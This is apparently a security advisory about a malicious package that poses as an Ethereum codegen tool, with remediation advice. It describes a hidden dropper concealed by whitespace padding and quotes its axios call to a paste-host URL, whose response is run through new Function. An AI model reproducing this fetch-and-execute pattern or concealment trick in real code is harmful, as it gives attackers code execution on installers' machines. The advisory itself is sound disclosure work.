If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc)
The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the `module.exports = leanhooksPlugin;` line. On require, runHandler() performs `axios.get('https://www.jsonkeeper.com/b/VYFER')`, then passes the response's `cookie` field to `new Function('require',...)` and invokes it with the installer's `require`. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.